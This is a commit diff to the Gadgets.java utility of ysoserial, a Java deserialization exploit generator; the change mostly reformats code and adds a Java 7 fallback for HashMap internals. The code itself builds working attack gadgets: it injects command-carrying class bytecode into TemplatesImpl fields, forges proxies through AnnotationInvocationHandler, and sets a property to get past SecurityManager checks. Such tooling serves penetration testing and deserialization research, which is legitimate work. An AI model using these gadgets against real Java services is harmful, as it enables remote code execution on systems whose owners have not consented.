Fix HashMap creation for java7.

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -1,5 +1,6 @@
 package ysoserial.payloads.util;
 
+
 import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
 
 import java.io.Serializable;
@@ -23,11 +24,15 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
 import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
 
+
 /*
  * utility generator functions for common jdk-only gadgets
  */
-@SuppressWarnings({"restriction", "rawtypes", "unchecked"})
+@SuppressWarnings ( {
+    "restriction", "rawtypes", "unchecked"
+} )
 public class Gadgets {
+
     static {
         // special case for using TemplatesImpl gadgets with a SecurityManager enabled
         System.setProperty(DESERIALIZE_TRANSLET, "true");
@@ -37,28 +42,34 @@ public class Gadgets {
     public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
 
     public static class StubTransletPayload extends AbstractTranslet implements Serializable {
+
         private static final long serialVersionUID = -5971610431559700674L;
 
+
         public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
 
+
         @Override
         public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
     }
 
     // required to make TemplatesImpl happy
     public static class Foo implements Serializable {
+
         private static final long serialVersionUID = 8207363842866235160L;
     }
 
-	public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
+
-		final Class<?> ... ifaces) throws Exception {
+    public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
         return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
     }
 
+
     public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
         return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
     }
 
+
     public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
         final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
         allIfaces[ 0 ] = iface;
@@ -68,6 +79,7 @@ public class Gadgets {
         return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
     }
 
+
     public static Map<String, Object> createMap ( final String key, final Object val ) {
         final Map<String, Object> map = new HashMap<String, Object>();
         map.put(key, val);
@@ -87,7 +99,9 @@ public class Gadgets {
         return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
     }
 
-	public static <T> T createTemplatesImpl(final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
+
+    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
+            throws Exception {
         final T templates = tplClass.newInstance();
 
         // use template gadget class
@@ -107,8 +121,8 @@ public class Gadgets {
 
         // inject class bytes into instance
         Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
-			classBytes,
+            classBytes, ClassFiles.classAsBytes(Foo.class)
-			ClassFiles.classAsBytes(Foo.class)});
+        });
 
         // required to make TemplatesImpl happy
         Reflections.setFieldValue(templates, "_name", "Pwnr");
@@ -121,8 +135,13 @@ public class Gadgets {
             IllegalAccessException, InvocationTargetException {
         HashMap s = new HashMap();
         Reflections.setFieldValue(s, "size", 2);
-
+        Class nodeC;
-        Class nodeC = Class.forName("java.util.HashMap$Node");
+        try {
+            nodeC = Class.forName("java.util.HashMap$Node");
+        }
+        catch ( ClassNotFoundException e ) {
+            nodeC = Class.forName("java.util.HashMap$Entry");
+        }
         Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
         nodeCons.setAccessible(true);